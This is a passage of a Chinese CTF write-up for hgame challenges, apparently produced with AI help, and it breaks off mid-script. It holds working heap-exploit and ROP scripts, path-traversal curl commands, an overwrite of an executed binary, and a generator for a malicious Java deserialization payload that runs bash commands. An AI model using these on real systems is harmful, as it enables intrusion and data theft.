队伍名:glzjinsbot
队伍Token: OzsiZiJ225q75sqKhkeF3
6
答问卷,有手就行~
题目给了一个 25x25 的二值矩阵,但只解锁了前若干个 5x5 子块(按行优先展开)。把已解锁的 cost=1~10 的 hint 还原后,可以得到完整的前 10 行。
观察前 10 行图案:
25x25 对应 QR Code Version 2。因此本题本质是:从部分已知模块恢复一个 V2 QR 的原始内容。
5x5 子块;001110011100111;0x5412 校验后,匹配到:
ECC level = Hmask pattern = 2对 Version 2:
44 字节(352 bit);H 级下:16 数据字节 + 28 RS校验字节;将前 10 行中落在 data/ecc 区域的模块按二维码 zig-zag 规则映射到码字位,并按 mask=2 去掩码后,得到 88 个已知码字bit约束。
在尝试 Byte mode 不同长度后,length=9 时方程组唯一可解。
解出的二维码消息为:
W0RTH_1T?
题目要求用 hgame{} 包裹,最终 flag:
hgame{W0RTH_1T?}
题目页面提示”on-chain””toolkit”,前端加载了 ethers 与一个 wasm 文件,明显是链上数据 + wasm 解密联动题。目标是从远程服务 1.116.118.188:30639 中恢复 flag。
app.js。app.js 显示会读取 /wasm/k.wasm,并从中提取 ENTRANCE=0x...。ws://.../rpc 的 JSON-RPC(anvil 链,chainId 0x7a69)。0x39529fdA4CbB4f8Bfca2858f9BfAeb28B904Adc0tokenURI(0),metadata 中给出 vidar_coin:0xc5273abfb36550090095b1edec019216ad21be6csymbol() 返回的是 0x... 十六进制串,但会受 msg.sender 影响(trace 可见按调用者字节 XOR)。5(动态 bytes)位置找到真实密文:keccak(5) 和 keccak(5)+1 两个 word。6960606a647c742a416552684d7275626d5e5e4c4f68762a3275622a5647724a5e7d7b5d6533646338327ck.wasm 导出:
BASEA = 0x5b5d5b5d...BASEB = 0x5a5a5a5a...BASEA XOR BASEB = 0x01 0x07 重复键流。0x0107 重复 XOR 密文,得到明文:hgame{u-@bSoLutelY_KNow-3rc-W@sM_zzZd4ed95}eth_getCode / eth_getStorageAtdebug_traceCallhgame{u-@bSoLutelY_KNow-3rc-W@sM_zzZd4ed95}
这是一个 Pwn 题(Diary keeper),核心是堆利用链:先拿到 libc 与 heap 泄露,再通过 tcache poisoning 劫持关键指针,最终构造 ORW(open/read/write)链读取 flag。
AI直接爆破了,6。
#!/usr/bin/env python3
from pwn import *
import re
context.log_level = 'error'
context.timeout = 2
HOST, PORT = '1.116.118.188', 31124
libc = ELF('/workspace/challenge/libc.so.6', checksec=False)
rop = ROP(libc)
POP_RDI = rop.find_gadget(['pop rdi', 'ret']).address
POP_RSI = rop.find_gadget(['pop rsi', 'ret']).address
POP_RDX_R12 = rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address
LEAVE_RET = rop.find_gadget(['leave', 'ret']).address
OPEN = libc.sym['open']
READ = libc.sym['read']
WRITE = libc.sym['write']
EXIT = libc.sym['exit']
ENVIRON = libc.sym['environ']
DELTAS = [0xb8 + i * 0x10 for i in range(15)]
PATHS = [b'/flag\x00', b'./flag\x00', b'flag\x00', b'/home/ctf/flag\x00', b'/app/flag\x00']
FLAG_RE = re.compile(rb'[A-Za-z0-9_\-]{0,20}\{[^\n\r\}]{1,200}\}')
def ru(io, tok):
data = io.recvuntil(tok, timeout=2)
if tok not in data:
raise EOFError('timeout')
return data
def send_num(io, n):
io.send(str(n).encode().ljust(8, b'\x00'))
def menu(io, c):
ru(io, b'input your choice:')
send_num(io, c)
def add(io, idx, size, date=b'A'*8, weather=b'B'*8, content=b'', date_full=True, weather_full=True):
menu(io, 1)
ru(io, b'input index:')
send_num(io, idx)
ru(io, b'size:')
send_num(io, size)
ru(io, b'date:')
io.send(date if not date_full else date.ljust(8, b'\x00')[:8])
ru(io, b'weather:')
io.send(weather if not weather_full else weather.ljust(8, b'\x00')[:8])
ru(io, b'content:')
io.send(content)
return len(content)
def delete(io, idx):
menu(io, 2)
ru(io, b'input index:')
send_num(io, idx)
def show(io, idx, content_len):
menu(io, 3)
ru(io, b'input index:')
send_num(io, idx)
ru(io, b'Date: ')
d = io.recvn(8, timeout=2)
ru(io, b'Weather: ')
w = io.recvn(8, timeout=2)
ru(io, b'Content: ')
c = io.recvn(content_len, timeout=2)
return d, w, c
def attempt(delta, path):
io = remote(HOST, PORT)
try:
# phase1
add(io, 0, 0x418, content=b'A')
add(io, 1, 0x20, content=b'B')
add(io, 2, 0x418, content=b'C')
add(io, 3, 0x20, content=b'D')
add(io, 4, 0x418, content=b'E')
add(io, 5, 0x20, content=b'F')
delete(io, 0)
delete(io, 4)
l0 = add(io, 0, 0x418, date=b'\n', weather=b'\n', content=b'X'*0x418, date_full=False, weather_full=False)
ld, lw, _ = show(io, 0, l0)
libc_base = ((u64(ld) & ~0xff) | 0xe0) - 0x21ace0
heap = ((u64(lw) & ~0xff) | 0x70) - 0xb70
add(io, 6, 0x418, content=b'G')
# round1
A = heap + 0xff0
B = heap + 0x1030
add(io, 20, 0x28, date=p64(0), weather=p64(0x60), content=p64(A)+p64(A))
add(io, 21, 0x18, content=b'b')
add(io, 22, 0xe8, content=b'c')
add(io, 23, 0x18, content=b'd')
add(io, 24, 0x18, content=b'e')
delete(io, 21)
add(io, 21, 0x18, content=b'B'*0x10 + p64(0x60))
for i in range(30, 37):
add(io, i, 0xe8, content=b't')
for i in range(30, 37):
delete(io, i)
delete(io, 22)
delete(io, 24)
delete(io, 21)
env_addr = libc_base + ENVIRON
add(io, 25, 0x148, content=b'Z'*0x20 + p64(env_addr ^ (B >> 12)))
add(io, 26, 0x18, content=b'1')
l27 = add(io, 27, 0x18, date=b'\x70', weather=b'\n', content=b'\n', date_full=False, weather_full=False)
env_leak, _, _ = show(io, 27, l27)
env_mod = u64(env_leak)
# round2
for i in range(50, 57):
add(io, i, 0xe8, content=b'r')
A2 = heap + 0x18c0
B2 = heap + 0x1900
add(io, 40, 0x28, date=p64(0), weather=p64(0x60), content=p64(A2)+p64(A2))
add(io, 41, 0x18, content=b'b')
add(io, 42, 0xe8, content=b'c')
add(io, 43, 0x18, content=b'd')
add(io, 44, 0x18, content=b'e')
delete(io, 41)
add(io, 41, 0x18, content=b'B'*0x10 + p64(0x60))
for i in range(60, 67):
add(io, i, 0xe8, content=b't')
for i in range(60, 67):
delete(io, i)
delete(io, 42)
delete(io, 44)
delete(io, 41)
saved = env_mod - delta
target = saved - 0x18
fake = heap + 0x1920
path_addr = fake + 0xd0
buf_addr = fake + 0x220
data = bytearray(b'Q' * 0x138)
data[0x20:0x28] = p64(target ^ (B2 >> 12))
base = heap + 0x18e0
off = fake - base
chain = [
fake + 0x300,
libc_base + POP_RDI, path_addr,
libc_base + POP_RSI, 0,
libc_base + OPEN,
libc_base + POP_RDI, 3,
libc_base + POP_RSI, buf_addr,
libc_base + POP_RDX_R12, 0x80, 0,
libc_base + READ,
libc_base + POP_RDI, 1,
libc_base + POP_RSI, buf_addr,
libc_base + POP_RDX_R12, 0x80, 0,
libc_base + WRITE,
libc_base + POP_RDI, 0,
libc_base + EXIT,
]
for i, v in enumerate(chain):
pos = off + i * 8
if pos + 8 > len(data):
raise ValueError('chain overflow')
data[pos:pos+8] = p64(v)
ppos = path_addr - base
if ppos + len(path) > len(data):
raise ValueError('path overflow')
data[ppos:ppos+len(path)] = path
add(io, 45, 0x148, content=bytes(data))
add(io, 46, 0x18, content=b'2')
add(io, 47, 0x18, date=p32(47)+p32(0x18), weather=p64(0), content=p64(fake)+p64(libc_base + LEAVE_RET)+p64(0), date_full=False)
out = b''
for _ in range(5):
chunk = io.recv(timeout=0.6)
if not chunk:
break
out += chunk
return out
finally:
try:
io.close()
except Exception:
pass
def find_flag(blob):
m = FLAG_RE.search(blob)
return m.group(0).decode(errors='ignore') if m else None
if __name__ == '__main__':
best = b''
for path in PATHS:
for d in DELTAS:
try:
out = attempt(d, path)
except Exception:
out = b''
if len(out) > len(best):
best = out
flag = find_flag(out)
print(f'[try] path={path!r} delta={hex(d)} out={len(out)}', flush=True)
if flag:
print(f'[+] FLAG FOUND: {flag}', flush=True)
print(flag)
raise SystemExit(0)
print('NO_FLAG')
if best:
print(best[:400])
通过菜单堆操作构造可控堆布局,触发泄露,恢复 libc_base 与 heap。
构造两轮 tcache/overlap 操作,命中目标指针。
利用 environ 泄露推算栈位置,按若干 delta 枚举返回地址附近偏移。
写入 ROP + leave; ret 栈迁移,执行 ORW:
open("/flag", 0)read(fd, buf, 0x80)write(1, buf, 0x80)正则匹配输出中的 flag 格式并停止。
hgame{d0_deCeNT_peOp13_eV3N-keEp_dIaRiEs?67ef8}
程序为典型堆菜单:
add(idx, size):仅允许 0x48/0x58delete(idx):free(chunks[idx]) 后不置空show(idx):write(1, chunks[idx], sizes[idx])edit(idx):只能成功一次(全局 lock)关键漏洞:
保护:Full RELRO / Canary / NX / PIE / CET。
用一次 edit 做 tcache poisoning,伪造 chunk0 头部 size=0x481。
free(chunk0) 进入 unsorted,show(0) 泄漏 main_arena+0x60,得到 libc 基址。
第一轮再次投毒,把 malloc(0x58) 分配到 environ-0x18,泄漏栈地址(environ)。
计算 add 函数保存返回地址位置:saved_rip = environ - 0x150。
第二轮投毒,把 malloc(0x58) 分配到 saved_rip-8,直接覆盖 add 栈返回地址,写 ROP:
retpop rdi; retcmd_addrsystemexit触发 add 返回后执行 system("cat /flag||cat flag||cat /home/ctf/f*") 拿到 flag。
libc_base = leak - 0x210b20saved_rip(add) = environ - 0x150target+8 清零污染 environ,第一次栈泄漏目标选 environ-0x18。#!/usr/bin/env python3
from pwn import *
context.log_level = 'error'
context.timeout = 2
HOST, PORT = '1.116.118.188', 30374
BINARY = '/workspace/chal/vuln'
LIBC_PATH = '/workspace/chal/libc.so.6'
libc = ELF(LIBC_PATH, checksec=False)
rop = ROP(libc)
POP_RDI = rop.find_gadget(['pop rdi', 'ret']).address
RET = rop.find_gadget(['ret']).address
def exploit(io, cmd: bytes) -> bytes:
def add(i, s, d=b'A', pad=True):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'index: ', str(i).encode())
io.sendlineafter(b'size: ', str(s).encode())
io.sendafter(b'content: ', d.ljust(s, b'X') if pad else d)
def delete(i):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'index: ', str(i).encode())
def show(i, n):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'index: ', str(i).encode())
return io.recvn(n)
def edit(i, d, s=0x58):
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'index: ', str(i).encode())
io.send(d.ljust(s, b'Y'))
for i in range(16):
add(i, 0x58, bytes([0x41 + i]) * 0x58)
# Stage 1: one-shot UAF write to forge chunk0 size=0x481, then free to unsorted for libc leak.
delete(12)
heap = u64(show(12, 8)) << 12
delete(13)
addr13 = heap + 0x2a0 + 13 * 0x60
edit(13, p64((heap + 0x290) ^ (addr13 >> 12)) + p64(0), 0x58)
add(12, 0x58, b'P' * 0x58)
add(13, 0x58, p64(0) + p64(0x481) + b'K' * (0x58 - 0x10))
delete(0)
libc.address = u64(show(0, 8)) - 0x210B20
# Stage 2: poison to environ-0x18 and leak stack pointer from environ.
target1 = libc.sym['environ'] - 0x18
delete(6)
delete(5)
for idx, i in zip([0, 1, 2, 3, 4, 5, 6], range(7)):
if i == 6:
data = p64(target1 ^ ((heap + 0x2a0 + 5 * 0x60) >> 12)) + p64(0)
else:
data = b'Q' * 0x48
add(idx, 0x48, data)
add(8, 0x58, b'A', pad=False)
add(9, 0x58, b'B' * 8, pad=False)
env = u64(show(9, 0x30)[0x18:0x20])
ret_addr = env - 0x150
# Stage 3: poison to saved RIP of add() frame and ROP to system(cmd).
target2 = ret_addr - 8
delete(15)
delete(11)
delete(10)
for idx, i in zip([12, 13, 14, 7, 6, 5], range(7, 13)):
if i == 12:
data = p64(target2 ^ ((heap + 0x2a0 + 10 * 0x60) >> 12)) + p64(0)
else:
data = b'R' * 0x48
add(idx, 0x48, data)
add(1, 0x58, b'C', pad=False)
cmd_addr = target2 + 0x30
payload = p64(0xDEADBEEFDEADBEEF)
payload += p64(libc.address + RET)
payload += p64(libc.address + POP_RDI)
payload += p64(cmd_addr)
payload += p64(libc.sym['system'])
payload += p64(libc.sym['exit'])
payload += cmd
add(2, 0x58, payload, pad=False)
out = io.recvall(timeout=2)
return out
def main():
cmd = b'cat /flag||cat flag||cat /home/ctf/f*\x00'
io = remote(HOST, PORT)
out = exploit(io, cmd)
io.close()
print(out.decode(errors='ignore'))
if __name__ == '__main__':
main()
hgame{tc@Che_I5-fuNa3e201062cd9}
这是一个 Rust Pwn 题,程序菜单是 Add Edit Show Gift Login。
关键安全点在 GC 跟踪逻辑:
这会导致某个 Chaos 的 age 被抬高后,其 content 在 force_collect 中被回收,但结构体仍保留悬空引用,形成 UAF。
反汇编 Chaos trace 可见:
show 的年龄变化规则:
因此连续 show(0) 可以把 1 的 age 抬高并在 GC 中回收其 content。
创建两个对象:idx=0内容8字节,idx=1内容56字节。
连续 show(0) 七次,触发 GC 回收 idx=1 的 content(UAF)。
login 生成 Token,堆块复用后形成可利用重叠。
show(1) 验证重叠生效。
edit(1,56,payload):
调用 gift,通过 uid==0 检查进入命令执行分支。
发送 ls /; cat /flag 读取flag。
#!/usr/bin/env python3
from pwn import *
import re
HOST = '1.116.118.188'
PORT = 32591
context.log_level = 'error'
def exploit_once(io):
def menu():
data = io.recvuntil(b'6.Exit\n', timeout=5)
if not data:
raise EOFError('menu timeout')
return data
def create(idx, content):
io.sendline(b'1')
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
io.recvuntil(b'Content:')
io.sendline(content)
menu()
def show(idx):
io.sendline(b'3')
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
return menu()
def login(name):
io.sendline(b'5')
io.recvuntil(b'Name:')
io.sendline(name)
menu()
def edit(idx, size, data):
io.sendline(b'2')
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
io.recvuntil(b'Size:')
io.sendline(str(size).encode())
io.recvuntil(b'Content:')
io.send(data)
menu()
io.recvuntil(b'name', timeout=5)
io.sendline(b'a')
menu()
# Prepare two Chaos entries. idx=1 uses 56-byte content for 0x50 tcache class.
create(0, b'A' * 8)
create(1, b'B' * 56)
# Age idx=1 to >=6 while repeatedly showing idx=0.
# Chaos::trace skips marking content when age >= 6, and show() triggers force_collect().
for _ in range(7):
show(0)
login(b'a')
leak = show(1)
if b'Content: ' not in leak:
raise RuntimeError('missing overlap leak')
leaked_line = leak.split(b'Content: ', 1)[1].split(b'\n', 1)[0]
if len(leaked_line) < 48:
raise RuntimeError(f'overlap not stable, leak len={len(leaked_line)}')
# edit() frees stale ptr (Token chunk) then reallocates same-size buffer.
# Forge bytes so Token.uid (GcBox+0x28) becomes 0.
forged = b'K' * 40 + p64(0) + b'L' * 8
edit(1, 56, forged)
io.sendline(b'4')
io.recvuntil(b'> ', timeout=5)
io.sendline(
b'ls /; cat /flag 2>/dev/null; cat /home/ctf/flag 2>/dev/null; '
b'cat /flag.txt 2>/dev/null; cat /home/ctf/flag.txt 2>/dev/null'
)
out = io.recvuntil(b'6.Exit\n', timeout=8)
return out
def main():
flag_re = re.compile(rb'hgame\{[^\n\r}]+\}')
for i in range(1, 6):
io = remote(HOST, PORT)
try:
out = exploit_once(io)
matches = flag_re.findall(out)
if matches:
print(max(matches, key=len).decode())
return
print(f'[try {i}] no flag in output')
except Exception as exc:
print(f'[try {i}] failed: {exc}')
finally:
io.close()
if __name__ == '__main__':
main()
hgame{g@Th3R-ThE-cH@OS6bc1f30db60}
附件是一个 APK。解包后发现:
assets/waw:ARM64 ELF 可执行文件(静态链接,未 strip)assets/game:二进制数据结合符号信息可见 main/pmain/luaU_undump 等 Lua 解释器函数,判断为 自定义 Lua 运行时 + 加密字节码。
使用 IDA(通过 reverse-ida-pro 技能)查看 luaU_undump/loadByte/loadUnsigned/loadStringN:
^ 0x9cWaw 形式对 assets/game 做 XOR 后能看到大量明文字符串(如 target_floor, boss_interval, decrypt_flag),说明核心逻辑在 Lua 脚本里。
直接完整反编译字节码会被自定义编码扰乱(标准 luac/unluac 输出不稳定)。
于是改为 运行时 Hook:
用 qemu-aarch64 运行 waw game
使用 -e 注入 Lua 代码,debug.sethook 每条指令回调
在回调中遍历调用栈局部变量 debug.getlocal
找到”table 且存在 decrypt_flag 方法”的对象后,直接调用 obj:decrypt_flag() 并退出
chmod +x /workspace/androuge/apk/assets/waw
qemu-aarch64 /workspace/androuge/apk/assets/waw \
-e 'debug.sethook(function() for lvl=2,50 do local i=1 while true do local ok,n,v=pcall(debug.getlocal,lvl,i); if not ok then break end; if not n then break end; if type(v)=="table" and type(v.decrypt_flag)=="function" then print(v:decrypt_flag()); os.exit() end; i=i+1 end end end, "", 1)' \
/workspace/androuge/apk/assets/game
hgame{Wow_Y0u_Got_Th3_Yend0r}
程序读取一行输入,不提示信息。长度不足时直接退出,达到条件后输出 NO/OK。
静态分析(rizin pdg main)可见:
func_0x401d4e 做核心变换;0x405010(16字节)做 memcmp,相等输出 OK。目标常量为:
8cadb48febfd6fae8660ad44c3c75a31
func_0x401d4e 含大量 int3 与 ptrace 驱动执行,静态阅读非常碎片化。
用 LD_PRELOAD hook memcmp,可得到:对于任意输入,比较左值是某变换结果 F(p)。
继续 hook ptrace,在关键 trap 点读取 r12 附近内存,拿到固定 round-key 缓冲区,并确认核心是 AES-NI 链(pxor/aesenc/aesenclast)。
构造多个样本输入,计算 AES_core^{-1}(F(p)),观察到中间量满足:
t[0] = p[0]
t[i] = p[i] ^ p[i-1] (i>=1)
即:
F(p) = AES_core(T(p))
其中 T 是可逆的相邻异或链。
设目标常量 C = 8cadb48febfd6fae8660ad44c3c75a31。
先算 u = AES_core^{-1}(C),得到:
de731351e2d67abce313173404344404
再逆 T(前缀异或恢复原文):
p0 = u0
pi = ui ^ p(i-1)
得到:
deadbeef0ddba11dfeedfacecafebabe
执行:
./marionette <<< 'deadbeef0ddba11dfeedfacecafebabe'
输出:
OK
根据题目要求用 hgame{} 包裹:
hgame{deadbeef0ddba11dfeedfacecafebabe}
这是一个 Android Reverse 题。Java 层在 MainActivity 中把用户输入发送到 AIDL 服务,调用 native 的 makekey() 与 encrypt(),并将结果与常量比较:
jdh2rzUxbpRxlfFro3YGuhHhmpWq4eHqTvK3N1njLjMnkSUS3I6VDg==
核心逻辑在 libchall.so(动态 JNI 注册)。
注册了 chall_init / makekey / encrypt 三个 native。
sub_1ABE64 做 XXTEA/btea 风格分组加密(delta 不是固定常量,而是全局 dword_505B48);sub_1AC140 做 Base64 输出。qword_505E20 字符串做自定义 CRC32 风格哈希(sub_1AC044, 多项式 0xD5714649);k0 = hashk1 = hash ^ deltak2 = hash + deltak3 = hash - deltaandroid:useAppZygote="true" 和 zygotePreloadName;qword_505E20 来源于 /proc/self/cmdline,但在预加载阶段已写入,实际参与 key 派生的是 app zygote 名:com.vidar.chall_zygote按 init_array + JNI_OnLoad + chall_init + makekey 的顺序还原 dword_505B48 的变换。
用 cmdline = com.vidar.chall_zygote 计算哈希并构造 key。
对目标密文做逆向 btea 解密,得到:
hgame{Wow_e4sy_@nd_s1ni5ter_chall_XD}
再正向加密回放,输出与题目常量完全一致,验证成功。
hgame{Wow_e4sy_@nd_s1ni5ter_chall_XD}
题目给的是 ouroboros-app-0.0.1-SNAPSHOT.jar(Spring Boot fat jar)。表面 RiskPolicy.check() 返回 null,但 LogicSwapper 会在启动时通过 ShadowLoader 注入真实 RiskEngine。
核心点:
BOOT-INF/classes/application-data.dbShadowLoader 会用 IntegrityVerifier.getDeriveKey() 生成密钥,对 application-data.db 做流异或解密,再从中加载 RealRiskEngineunzip ouroboros.zip
jar tf ouroboros-app-0.0.1-SNAPSHOT.jar
看到关键文件:
BOOT-INF/classes/application-data.dbBOOT-INF/classes/magic.datBOOT-INF/classes/com/seal/ouroborosapp/infra/ShadowLoader.classBOOT-INF/lib/ouroboros-api-0.0.1-SNAPSHOT.jar(含 IntegrityVerifier)从 ShadowLoader 字节码可得:
application-data.db 全部字节seed = key & 0xffffffffseed = (seed * 1103515245 + 12345) & 0xffffffffbyte ^= (seed >> 16) & 0xffIntegrityVerifier.getDeriveKey() 在未设置环境时会走混淆分支,需 -Denv=prod。且必须带上接近真实运行的classpath(要能读到 magic.dat 与 ShadowLoader.class)。
实测:
java -Denv=prod -cp /workspace/challenge:/workspace/challenge/unpack/BOOT-INF/classes:/workspace/challenge/unpack/BOOT-INF/lib/ouroboros-api-0.0.1-SNAPSHOT.jar GetKey
# 859881160
用该key解密后,offset 128 处出现 PK\x03\x04,导出 inner.jar,包含:
com/seal/ouroboroscore/RealRiskEngine.classcom/seal/ouroboroscore/OuroborosVM.classRealRiskEngine.checkLegacy() 可AES解出一个假flag:
flag{N0p3_Th1s_1s_A_D3c0y_G0_B4ck}
(诱饵)
真正校验在 OuroborosVM.execute():
FIRMWARE 每字节与 (integrityKey & 0xff) 异或得到固件字节码16:push 16-bit immediate32:push token length48:push memory[idx]53:xor74:条件跳转(通过 10000/x 触发除零异常实现)255:return(栈顶==1时true)固件呈现为”逐字符对比 + 失败立即return false”的结构,直接还原得到目标字符串。
flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}
java -Denv=prod -cp /workspace/challenge:/workspace/challenge/inner.jar:/workspace/challenge/unpack/BOOT-INF/lib/ouroboros-api-0.0.1-SNAPSHOT.jar:/workspace/challenge/unpack/BOOT-INF/classes TestVM 'flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}'
# true
并且在原程序交互中得到:
ACCESS GRANTED: Core Logic Validated.
题目是一个 Web 文件浏览/上传服务,提示”uu 分开想”。实际核心就是两个 u:
uploadupdate应用为 Rust + Leptos,接口主要在 /api/*。
首页可见:
/api/download_file/{filename}测试后发现下载存在路径穿越(编码 / 可绕过路由分段),例如:
curl "http://1.116.118.188:32737/api/download_file/..%2F..%2Fetc%2Fpasswd"
可读取任意文件。
通过穿越读取 /app/Cargo.toml,并在 /app/update 发现 easyuu.zip 源码包:
curl -O "http://1.116.118.188:32737/api/download_file/..%2F..%2Fapp%2Fupdate%2Feasyuu.zip"
解压后审计 src/app.rs / src/main.rs,发现:
list_dir(path: String) -> /api/list_dir,path 完全可控,可任意目录遍历。upload_file(data) -> /api/upload_file,支持 path1 字段改写写入目录。main.rs 存在后台 update_watcher():每 5 秒执行 ./update/easyuu --version。这意味着可构造链路:任意写入 update/easyuu + 定时执行。
/app/update/easyuu脚本内容:导出环境变量到 /app/uploads/env.txt,最后输出 0.1.0(避免触发版本升级替换)。
示例上传逻辑(核心是 path1=/app/update + filename=easyuu):
import requests
files=[
('path1',(None,'/app/update')),
('file',('easyuu',open('payload.sh','rb'),'application/octet-stream'))
]
requests.post('http://1.116.118.188:32737/api/upload_file', files=files)
约 5 秒后下载:
curl "http://1.116.118.188:32737/api/download_file/env.txt"
得到:
FLAG=hgame{upLOAD_4Nd_UpDATE-arE_Re4ILy_34SY392c6}
hgame{upLOAD_4Nd_UpDATE-arE_Re4ILy_34SY392c6}
这是一道Java反序列化Web题目,题目名称”ezCC”暗示了Commons Collections链。
解压WAR包后发现4个关键类:
myServlet – 主Servlet,处理登录和欢迎页面UserInfo – 用户信息序列化对象Tool – 序列化/反序列化工具类BlacklistObjectInputStream – 自定义反序列化过滤器UserInfo对象序列化+Base64编码存入Cookie userInfo/welcome时从Cookie读取并反序列化BlacklistObjectInputStream,仅禁用了InvokerTransformer黑名单仅禁用了 InvokerTransformer,这意味着经典的CC1链无法使用。但CC3链使用的是 InstantiateTransformer + TrAXFilter + TemplatesImpl,完全不依赖 InvokerTransformer。
HashMap.readObject()
-> TiedMapEntry.hashCode()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> ConstantTransformer(TrAXFilter.class)
-> InstantiateTransformer(Templates.class, templatesImpl)
-> TrAXFilter.<init>(templatesImpl)
-> TemplatesImpl.newTransformer()
-> 加载恶意字节码 -> RCE
解压WAR包,使用javap反编译class文件,发现:
userInfo 存储Base64编码的序列化对象InvokerTransformer使用Python手动构建Java 8兼容(class version 52)的恶意字节码,继承AbstractTranslet,在构造函数中执行命令。
使用Java编写exploit,将恶意字节码嵌入TemplatesImpl,通过CC3链触发执行。
将序列化payload Base64编码后放入Cookie,发送到靶机的/welcome端点触发反序列化RCE。
#!/usr/bin/env python3
"""
CC3 chain payload generator for ezCC challenge.
Bypasses InvokerTransformer blacklist using TrAXFilter + InstantiateTransformer.
Generates Java 8 compatible bytecode.
"""
import struct
import io
import base64
# ============================================================
# Part 1: Build evil bytecode (Java 8 compatible, version 52)
# ============================================================
def build_evil_bytecode(cmd):
"""Build a minimal Java class that extends AbstractTranslet and executes a command."""
# We'll build the class file manually to control the version
buf = io.BytesIO()
# Magic
buf.write(b'\xca\xfe\xba\xbe')
# Version: Java 8 = 52.0
buf.write(struct.pack('>HH', 0, 52))
# Constant pool
# We need these constants:
# 1: Class "EvilClass"
# 2: Utf8 "EvilClass"
# 3: Class "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet"
# 4: Utf8 "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet"
# 5: Utf8 "<init>"
# 6: Utf8 "()V"
# 7: Utf8 "Code"
# 8: NameAndType <init>:()V
# 9: Methodref AbstractTranslet.<init>:()V
# 10: Class "java/lang/Runtime"
# 11: Utf8 "java/lang/Runtime"
# 12: Utf8 "getRuntime"
# 13: Utf8 "()Ljava/lang/Runtime;"
# 14: NameAndType getRuntime:()Ljava/lang/Runtime;
# 15: Methodref Runtime.getRuntime
# 16: Utf8 "exec"
# 17: Utf8 "([Ljava/lang/String;)Ljava/lang/Process;"
# 18: NameAndType exec:([Ljava/lang/String;)Ljava/lang/Process;
# 19: Methodref Runtime.exec
# 20: Class "java/lang/String"
# 21: Utf8 "java/lang/String"
# 22: String "/bin/bash"
# 23: Utf8 "/bin/bash"
# 24: String "-c"
# 25: Utf8 "-c"
# 26: String <cmd>
# 27: Utf8 <cmd>
# 28: Utf8 "SourceFile"
# 29: Utf8 "EvilClass.java"
constants = []
def add_utf8(s):
data = s.encode('utf-8')
constants.append((1, struct.pack('>H', len(data)) + data))
return len(constants)
def add_class(name_idx):
constants.append((7, struct.pack('>H', name_idx)))
return len(constants)
def add_string(utf8_idx):
constants.append((8, struct.pack('>H', utf8_idx)))
return len(constants)
def add_nameandtype(name_idx, desc_idx):
constants.append((12, struct.pack('>HH', name_idx, desc_idx)))
return len(constants)
def add_methodref(class_idx, nat_idx):
constants.append((10, struct.pack('>HH', class_idx, nat_idx)))
return len(constants)
# Build constant pool
idx_evil_name = add_utf8("EvilClass") # 1
idx_evil_class = add_class(idx_evil_name) # 2
idx_at_name = add_utf8("com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet") # 3
idx_at_class = add_class(idx_at_name) # 4
idx_init_name = add_utf8("<init>") # 5
idx_void_desc = add_utf8("()V") # 6
idx_code = add_utf8("Code") # 7
idx_init_nat = add_nameandtype(idx_init_name, idx_void_desc) # 8
idx_super_init = add_methodref(idx_at_class, idx_init_nat) # 9
idx_rt_name = add_utf8("java/lang/Runtime") # 10
idx_rt_class = add_class(idx_rt_name) # 11
idx_getrt_name = add_utf8("getRuntime") # 12
idx_getrt_desc = add_utf8("()Ljava/lang/Runtime;") # 13
idx_getrt_nat = add_nameandtype(idx_getrt_name, idx_getrt_desc) # 14
idx_getrt_ref = add_methodref(idx_rt_class, idx_getrt_nat) # 15
idx_exec_name = add_utf8("exec") # 16
idx_exec_desc = add_utf8("([Ljava/lang/String;)Ljava/lang/Process;") # 17
idx_exec_nat = add_nameandtype(idx_exec_name, idx_exec_desc) # 18
idx_exec_ref = add_methodref(idx_rt_class, idx_exec_nat) # 19
idx_str_name = add_utf8("java/lang/String") # 20
idx_str_class = add_class(idx_str_name) # 21
idx_bash_utf = add_utf8("/bin/bash") # 22
idx_bash_str = add_string(idx_bash_utf) # 23
idx_c_utf = add_utf8("-c") # 24
idx_c_str = add_string(idx_c_utf) # 25
idx_cmd_utf = add_utf8(cmd) # 26
idx_cmd_str = add_string(idx_cmd_utf) # 27
idx_sf = add_utf8("SourceFile") # 28
idx_sf_val = add_utf8("EvilClass.java") # 29
# Write constant pool count
cp_count = len(constants) + 1
buf.write(struct.pack('>H', cp_count))
# Write constants
for tag, data in constants:
buf.write(struct.pack('B', tag))
buf.write(data)
# Access flags: public
buf.write(struct.pack('>H', 0x0021))
# This class
buf.write(struct.pack('>H', idx_evil_class))
# Super class
buf.write(struct.pack('>H', idx_at_class))
# Interfaces count
buf.write(struct.pack('>H', 0))
# Fields count
buf.write(struct.pack('>H', 0))
# Methods count: 1 (<init>)
buf.write(struct.pack('>H', 1))
# Build <init> method bytecode
code = io.BytesIO()
# aload_0
code.write(b'\x2a')
# invokespecial super.<init>
code.write(b'\xb7')
code.write(struct.pack('>H', idx_super_init))
# invokestatic Runtime.getRuntime()
code.write(b'\xb8')
code.write(struct.pack('>H', idx_getrt_ref))
# Create String array of size 3
code.write(b'\x06') # iconst_3
code.write(b'\xbd') # anewarray
code.write(struct.pack('>H', idx_str_class))
# arr[0] = "/bin/bash"
code.write(b'\x59') # dup
code.write(b'\x03') # iconst_0
code.write(b'\x12') # ldc
code.write(struct.pack('B', idx_bash_str))
code.write(b'\x53') # aastore
# arr[1] = "-c"
code.write(b'\x59') # dup
code.write(b'\x04') # iconst_1
code.write(b'\x12') # ldc
code.write(struct.pack('B', idx_c_str))
code.write(b'\x53') # aastore
# arr[2] = cmd
code.write(b'\x59') # dup
code.write(b'\x05') # iconst_2
code.write(b'\x12') # ldc
code.write(struct.pack('B', idx_cmd_str))
code.write(b'\x53') # aastore
# invokevirtual Runtime.exec(String[])
code.write(b'\xb6') # invokevirtual
code.write(struct.pack('>H', idx_exec_ref))
# pop (discard Process return)
code.write(b'\x57')
# return
code.write(b'\xb1')
